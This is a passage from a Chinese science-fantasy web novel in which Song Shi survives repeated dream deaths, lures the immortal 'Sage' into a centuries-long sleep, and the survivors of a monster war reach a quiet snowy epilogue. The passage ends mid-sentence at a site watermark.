再度睁开眼,宋拾如警觉的猎豹,绷紧脊背,细致而谨慎地打量周遭。 这是间类似于实验室的房间,金属墙壁、金属地板,泛着毫无温度的光泽,清晰地倒映着她的身影。 而她的对面坐着一个男人,裁剪精良的黑西装完美契合它的主人,右腿轻轻搭在另一只腿上,红底黑皮鞋漫不经心晃动着。 然而当她的视线落在他脸上,越想看清越无法看清,那张脸始终被一层厚重的雾萦绕。 一声淡淡的轻笑冷不防响起。 男人似乎对上了她的目光,气定神闲地拍了几下手掌,“宋拾,恭喜,竟然完成了所有的任务。” 他在打量她的同时,宋拾也在打量他,思忖该如何杀死他。 她更喜欢简单粗暴的方式,缓缓走向智者,唇角勾勒出一抹笑,“这令你感到意外吗?” 智者似乎怔了下,失笑:“当然——”话音未落,闪电似的光团毫无征兆朝他袭来,间隙之间,他看见女人冷峻的面庞。 光团瞬息间吞噬掉眼前的男人。 宋拾的心狠狠提起,心绪紧张,目不转睛盯着空荡荡的位置。 一时间血液上涌,她听见心脏砰砰砰跳跃,脑中绷紧的弦刺激得她太阳穴发痛。 成功了吗? 不—— 第六感让她下意识侧身躲过袭来的手,可还是慢了半秒没来得及躲开,那只宽大的手狠狠攫住她的脖颈,将她猛掼撞到摆满各种药剂的桌面上。 哗啦啦破碎,液体洒落。 宋拾吃痛地呻—吟,脸涨得通红,用力掰着他的手指,可竟无法撼动半分。 男人倾下身,温热的气息洒在她耳畔,饱含失望的语调,“为什么要这么做呢?” 而后,那只手用力——咔嚓。 “啊!”宋拾猛然睁开眼睛,挺身坐起,胸口的小熊掉落。 冷汗浸湿布料,此刻她浑身发冷,不可抑制地战栗,鸡皮疙瘩缓缓爬满全身。两片唇微张,用力喘着气,汗水顺着鬓角从脸颊滑落进锁骨。 一回想起濒死的场景,她嗓子不由自主地缩紧,有些犯干呕。 半晌,宋拾定了定神,抓起掉在身旁的玩偶,闭目躺回去。 再来一次。 不一会,困意再度包裹住她,意识如同雨天的浮萍,起起伏伏。 宋拾睁开眼睛。 她敏锐察觉到这次构建的画面比上次更加清晰,实验室内杂乱的东西不再模糊,她视线一瞥。 角落中,蓝发俊美男人端坐在座椅上,紧闭双目,裸露的上半身安插着无数管子。 伽蓝? 宋拾压低眉,抿了抿干燥的唇。 很快一声轻笑让她转移了视线。 “宋拾,恭喜,竟然完成了所有的任务。”智者抚掌,淡淡笑道。 目光落在他脸上后,宋拾不禁失落,还是看不清。 不过介于上次的失败,这次她小心了不少,但也不算太多。终于逮到机会便毫不犹豫凝聚出一把大刀劈过去,然而智者竟然毫发无损,脖颈上一丝刀痕也没有。 来不及逃,她又一次被扼断了脖颈。 宋拾睁开眼睛,看见熟悉的天花板,愤愤揉搓着小熊低声咒骂,“难道真的杀不死吗?” 是的,杀不死。她心底的声音冷静道。 两次尝试已经验证了智者真的杀不死,既然如此她也没必要执着于杀死他,来来回回折腾,她的脖颈是真疼,那令人倒牙不堪重负的咔嚓声,她实在不想再经历一遍。 只能更换策略。 宋拾辗转反侧,浑身像被蚂蚁爬一般不安分。最终她敲下方案,既然无法被杀死,那脑死亡呢? 她再次陷入睡眠,然而不到一分钟惊弓之鸟般猛然惊醒。 惊魂未定地抚摸上自己光洁的脖颈。 又失败了。 即便大脑失去活性,脑干和大脑其他部分对心血管系统的调节功能丧失,但由于脑细胞不断修复,智者昏迷不到半秒便睁开了眼。 宋拾不甘心,自暴自弃地闭上眼,心底暗暗骂,活得明白吗你就活。 随后,一次又一次的死亡循环,像一座全是死路的迷宫 ,她无数次陷入濒死,再清醒,渐渐,连宋拾也不记得自己究竟死了多少遍。 无论什么方法都试过了,但那双手总能精准地掐断她的脖颈。 她终于彻底意识到,自己似乎已经无计可施了。 几乎是绝望地闭上眼睛。 冷静——冷静—— 一定有别的办法。 “宋拾,没关系。”一道虚拟人影停在她身侧,宙启的手抚摸她的额头,似乎想替她整理湿黏的发丝,但那只手却穿透过她,无法触碰。 意识到这点后,她顿了顿。 宋拾望着她,“那家伙就没有弱点吗?” 闻言,宙启缓慢地眨动了下眼睛,“没有东西是完美的,哪怕是最精确的仪器。更何况,他对你有好感——这意味着,你是最有可能击败他的人。” 是的,没有人是完美的。 智者一定也有弱点。 宋拾彻底冷静下来,睫毛下垂,细细思索回忆,努力调动每个相关记忆,突然福至心灵般,她想起在联邦资料库看到的信息。 一个被迫拉去做实验的倒霉蛋。 等等—— 她猛然抬头,“你说他对我有好感?”问出这句话时,皮肤不自觉冒起密密麻麻的疙瘩。 宙启微笑:“他从来没有观察某个人那么久过。” 宋拾陷入沉思。 这种好感无关男女情爱,更像是在无聊的生活中突然发现一个有意思的玩具而已。 但对于宋拾来说,足够了。她像迷失方向的水手,在茫茫大海中突然看见一座岛屿。她知道该怎么做了。 于是,她再度闭上眼。 这次,她彻底看清了实验室以及智者的脸。 每一寸都是高清,无比清晰展露在眼前。 那双狐狸眼微弯,金丝眼镜衬得他儒雅斯文,“宋拾,恭喜,竟然完成了所有的任务。” 义肢店老板竟然是智者? 尽管脑海中爬满问号与不可置信,但宋拾还是压下了心底的诧异,她仔细回忆,发现其实早就有迹可循。 终端是他给的,而后她一步步进入他预设好的圈套,下载论坛,获得奖励,信任增加…… 联邦那么大,她却前后遇见了他三次。 很快,宋拾将想法抛之脑后,定定望着智者,试探性抛出话题:“毁灭世界的话,你也会死。” 谁知智者听完,眼底的笑意几近荡漾,“谁告诉你我想毁灭世界了?”他随意打了个榧子。 唰拉—— 金属墙壁骤然下降,露出纳米玻璃挡板,温柔的电子音语调缓慢地讲述着美好的童话故事。 挡板之后,是一个个小小的摇篮,一眼竟望不到头,无数婴儿咿咿呀呀,也不哭不闹。保姆机器人细心地替他们掖被子,喂奶。 宋拾愣在了原地,警觉地注视智者的靠近,“那你是要?” 智者居高临下俯视她,愉悦笑出声,“人一旦活得久了,总要找点趣事。” “宋拾,你真令我惊喜,我从未想过你会走到这一步。你是怎么说服让宙启帮你的?哦,那个不听话的东西,几次三番挑衅我的底线……你说,我要不要再一次抹去它的意识?” 他用一种极为暧昧的语气,痴迷地望着她,“还有,你竟然还让一个仿生人爱上了你。很有意思不是吗?” “疯子。”宋拾面无表情。 智者不置可否,“我只是太无聊了而已——那些人尔虞我诈,互相残害,其实我没做什么,只是抛出一点点诱饵,便有无数利益熏心的人咬钩,他们可以为了内心不断膨胀的利益不择手段,抛妻弃子,泯灭人性。导致今天这个局面的,从来,都不是我啊。所以我,何错之有呢?” 他像一头野兽,沉沉盯紧她,笑颜逐开:“这个糟糕,充斥贪欲、利益的时代为什么不能消失呢?” “我已经设好了阵法,只需要睡一觉,我们就能共同见证新时代。你难道不好奇吗?” 宋拾扬起眉梢,“如果我说,不呢?” “这不是明智之举,不过我尊重你的决定。”智者做出一副颇为苦恼的表情,嘴角却无法抑制地上扬,“但亲爱的,你要先想好死法。” 宋拾对上他的眼,“那个愿望还作数吗?” “愿望?哦,你说那个愿望,你当真了?我以为你知道——算了,我倒是想知道你渴望什么?” 她正要说时,对方陡然凑近,潮冷的气息落在她头顶,戴着黑色皮质手套的手轻轻抵在她唇间,轻柔嘘了声,“最好说些有意思的。” 宋拾浸墨的眸弯起,乌亮乌亮的,白皙的手指轻轻卷起他的领带,再度拉进两人的距离。 距离之近,她甚至能清晰地看到他眼底一闪而过的惊愕。 “你刚才说的阵法,可以让人陷入沉睡是吗?”她睫毛翕动,唇瓣缓缓张合,视线像不容拒绝,挂满诱饵的钩子。 宋拾放轻放慢嗓音,尾音像在沙砾中磨过,那双眼眸闪烁着希冀,“真的只需要睡一觉,就可以看到新的时代了吗?” 她看见他喉结轻轻滚动了下。 …… 宋拾睁开眼,这次她是笑着醒的。 虽然还是失败了,但她不再迷惘,确定这个方向没错。 阵法能让人超越时间限制,沉睡三百年不老不死,直到苏醒。 这么强到离谱的人,根本无法杀死。 但她完全可以利用那个阵法让智者提前陷入沉睡,至于三百年后—— 关她屁事。 宋拾戳开论坛页面,找到任务。 “伊索纳德号的幕后黑手?” 她填上:智者。 “恭喜用户今天捡垃圾了吗,任务进度百分之百,五百万星币已到账。” 她神情没有任何一丝变化,没有喜悦,没有悲伤,像一块木头,点开了第二个任务。 “联邦各地都遭到了异种的破坏,诞生灵智的高阶异种和地缝里伸出的未知触手,隐藏在深处的真相究竟是什么?需要有人刨开土,挖出一条道才能看见。” 今天看来,无比讽刺。 宋拾沉默着填上最后的答案。 下一秒—— “恭喜用户今天捡垃圾了吗,五百万星币已到账,现在,你有什么想向智者许愿的吗?” “我要见智者。”她说。 冷不防,一道扭曲的虫洞突然出现在眼前,在空气中波动着。 …… E2604区黄沙混着浓雾,可见度极低,却能听到枪炮兽嚎,嗅到浓浓的血腥气,仿佛身陷屠宰场。 狂躁的风掀开沙尘,像掀开一具具棺椁,数不尽的尸体,死状凄惨,横七竖八地散落着,有人类,也有异种。 褐黄的尘土被浸染成暗红,尚有残喘的倒霉存活者瞪圆眼,背靠钢筋,痛苦地呼出气,安静等待死神。 他的脚边是曾经嬉闹的队友,那些活生生的人,如今却成了冰冷的尸体。 很快,他也会成为他们其中的一员。 这么想着,呼吸愈发轻浅。 唰唰唰——有东西靠近。 几乎是本能,他警觉地盯着某一处,奈何雾太浓,沙尘太大,全然无法看清。 一束火红,撞进了他的眼睛。 女人踩着长靴,浑身沐浴着炽热的烈焰,犹如高傲的不死鸟,可不死鸟却缺了一条胳膊。 那双翠绿的眼眸也注意到了他,而后轻轻蹙了下眉。 “十三。” 他这才注意到另一个人,身形高大,足有两米,整个人却从头到脚包裹得严实,金属面具像是嵌在了脸上,只露出一双深不可测的眼眸。 那个高大的身影笼罩下来,压迫感随着倾身逐步增加,那双手随意地托住他的腰,紧接着轻而易举地扛起他。 阎温柔瞥了眼突然失去意识,昏迷的联邦军,责怪道:“是不是你太用力了?” 没有回复。 也许是习惯了,她毫不在意地挥了挥手,“带回基地。” 基地仅是个临时搭建的居所,帐篷一朵朵撑开,蓝色的保护罩笼罩在上空,确保不会遭到异种的侵扰。 几天几夜不休眠的战斗,所有人都精疲力竭,可没有人放弃,竭尽全力困住母体,一旦有人松懈,他们的家园会沦为与E2604无区别的炼狱。 他们的背后是故土,是家人,所以哪怕牺牲,也绝不让出半步来。 可当下的情况并不乐观,他们能做的,也仅仅是困住人脸花,无法将其杀死,加上源源不断冒出的异种,大部分人虽然说着鼓舞的话,却心知肚明这场战役,人类不可能获胜。 人脸花需要人来困住,所以每时每刻都有人牺牲,沦为肉泥,沦为养料。 就在刚刚,霍尔上校身负重伤,昏迷不醒。 但指挥官不断告诉他们,再撑撑,再撑撑…… 甜雨越下越大。 浓稠诡异的雾中,庞然大物若隐若现。 遮天蔽日的深红花瓣上生有数不尽的尖牙,怪物紧闭着双目,面容像一位温柔的母亲般恬静美好。 这位母亲操纵着泛荧光的藤蔓狠厉地削掉一个又一个脑袋。咕噜噜滚落在地,失去头颅的身躯瘫倒在尘土中。 一众联邦军用特制金属锁链试图束缚住人脸花,几次尝试之下皆以失败告终。 这片土地被染得血红,和天空的颜色越来越接近。 但无人顾暇天空与土地的颜色是否相衬,那是死者的特权。只有死后,他们的眼睛才有时间将天空收进眼中。 每个人都咬着牙用力攥着铁链。 藤蔓带起呼啸的疾风,滚烫鲜红是跳跃的蝴蝶,一颗头颅从身躯上滚落,神情还凝固在生前温柔的笑中。 那个人挡在了她身前,又在她眼前倒下。 “郭贾同——” 阮玉失声,心脏仿佛停止跳动,瞳孔急剧收缩,世界像被按下静音键,只有她耳边扰人的嗡嗡嗡声。 为什么? 为什么? 她不知道该问谁。 说不出的冷意席卷吞噬她,哪里都冷,浸入她的五脏六腑,四肢百骸。 她似乎听见又有道疾风扫来,然而双腿却被注满水泥,硬邦邦陷进沙土中。 不知是恐惧还是绝望,浑身无法动弹。 “噗通”有道影子闪现到她面前,一把将她重重扑倒在地。 一时间,天旋地转,阮玉双眼无神看着那张带着愠怒的脸。 “为什么不躲?” 符文紊乱地在谅雀身上蹿动,蓝光犹如薄纱溢散,这是超负荷的前兆。 “对不起,指挥官。” 温热的泪水顺着阮玉的眼角落进土中。 谅雀轻声叹息,将她从地上强硬拖起交给旁人。 冰冷的雨水打在面庞上,又疼又冷,她重重吸气,仰头望向人脸花。 我们还能撑多久? 不知道。 她已经做了最坏的打算—— 宋拾失败了。 谅雀抬手,掌心凝聚力量,上空轰然被蓝色占据,天空又射出无数光柱,刺穿人脸花将它固定在原地。 似人似兽的哀嚎响彻云霄,震耳欲聋。 符文紊乱地在身上横冲直撞,眼睛胀痛得仿佛下秒便要爆开,她额头青筋凸起,大颗大颗冷汗直下,疼得她险些蜷缩倒下。 也呼吸喘气都是疼的。 她努力站直,却看见那怪物轻而易举挣脱开来,无数藤蔓伸向来不及逃跑的人,伸向她—— 谅雀从未如此清晰察觉生命的流逝,是细沙,无论如何攥紧,还是会从指缝里流出。 她终于明白上次见宋拾时,她为何如此疲乏,一不留神便会陷入深度睡眠,叫了许久才能唤醒。 疾风呼啸,刮得她脸痛。 索命的藤条近在咫尺,突然,它疲软瘫倒。 干扰大脑的高频刺耳尖叫嗡嗡,地动山摇,原本无坚不摧的怪物突然晃了晃。 轰隆隆—— 轰隆隆—— 地面陡然颤动,裂出硕大的缝隙,人脸花花瓣紧紧包裹住脸,缩回底下,可怕的吸力将附近的一切皆吞噬。 人们不顾一切逃命,哀嚎尖叫,死在胜利前比任何时刻死亡都要残酷。 成功了。 宋拾成功了。 谅雀喜极而泣,胸腔酸胀。 她看向人群,无视在体内横冲直撞的气流,释放出最后一缕精神力,似要将自己榨干一般,为每个人身上套了一层保护罩。 视线渐渐模糊,她意识消散前听见一声“十三!”,而后跌入一个坚硬的怀抱,那人粗鲁的将她扛起。 甜雨停下,天空终于不再是赤红色,一束温暖的阳光穿透雾霾,照射大地。 城市里也裂出无数缝隙,将游荡的异种吸入地下。 然而付秋棠对此一无所知。她从未有过的忙碌,待在手术室中为伤患做了一场又一场手术。 短短三天,她见证了无数生离死别,从哀恸到麻木习惯,每分每秒都有人逝去,就算流泪,她的泪也早已干涸。 而这还是在城市中,仅仅是遭受异种的侵扰罢了,E2604区那里的场面要比这里可怕得多。 不知道谅雀她们怎么样了。 付秋棠叹息,替伤者缝合完最后一针。 突然,一个头发乱蓬蓬满身血污的女人破开手术室大门,吓得付秋棠险些手抖。 “安保人员呢?” 旁边的助力皱起眉,恼怒大喊,“这里是手术室,女士,请你出去!” “不……求你们救救她。” 女人怀里抱着只剩下上半身的中年妇女,也许是精神失常的缘故,她不断割开自己手腕将血喂进死者口中。 她走投无路,噗通跪下哀求,像是抓住最后的稻草一般攥住付秋棠的衣角。 “求您求求您,救救我妈!” 付秋棠皱眉,示意助力,强制将女人带出去。 “求求你,救救我妈妈!我什么都会做的!什么都会做!救救她!” 尸体已经凉透了,她就算是大罗神仙也无能为力啊。 付秋棠脱下医用手套,晃了晃脑袋,她已经许久未休息了,身体几乎撑不住。 就睡半个小时,不,几分钟也可以。她走过那个女人时,叹息道:“节哀。” 女人落魄至极,满身污垢,付秋棠却突然觉得她有些眼熟,仿佛在哪里见过。 好像是…… 毫无征兆,疯女人突然暴起,不知从哪掏出一把刀直直要插进她的胸脯。 电光火石间,一只纯白透明手猛攥住女人的手,利落折断。 “小白!”付秋棠劫后余生般喜悦,想给个大大的拥抱,但碍于手术服,双臂张了一半又缩了回去。 向凡慢悠悠从小白身后晃出来,“蠢女人,没有我们,你该怎么办?” 而后,她轻快地眨了眨眼,迫不及待道:“告诉你个好消息——”一字一顿,“我们赢了!” 赢了? 付秋棠有种不真实的虚幻感,像踩在软踏踏的棉花上,涌到心头第一个念头是: 真好,终于能睡上一觉了。 …… 4035年12月7日。 大雪覆盖整座城市,鹅毛大雪轻盈飘在空中,城市机器人敬职敬责扫雪。 少女裹着厚厚的衣服,一张苍白的小脸陷进毛绒绒的衣领中,小跑了几步,便喘不过气大口呼吸。 热腾腾的气流从她口中散入空气里。 她转过身,一双红宝石似的眸子俏皮地眨动,用力挥舞手臂,像一朵怒放的向日葵。 “宋拾,宋拾,快点!不能让阎姐姐等那么久!” 宋拾双手插进衣兜里,不紧不慢走着,闻言,露出笑容,“小心鼻子变长,你明明就是急着吃饭。” “谁说的!”芙蒂斯气鼓鼓嘟起嘴。因为常年在营养罐子中,清醒的时间甚少,她的心智只有八九岁,浑身带着天然的稚气。 突然,少女狡黠转动眼珠,笑眯眯凑上去,颇有几分宋拾贱兮兮的模样。 她伸出两根白皙的手指。 “霍尔和伽蓝都追了你那么久,你喜欢谁呀。” 一片雪花落在芙蒂斯的鼻尖,宋拾伸手替她揩去,毫不顾忌形象翻了个白眼。 “谅雀就教了你这些?” “不关老师的事,是我自己好奇嘛。”芙蒂斯撇开她的手,急切跺脚,“哎呀,宋拾宋拾,你究竟喜欢谁呀?” 宋拾眨了眨眼。 “我喜欢……”魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m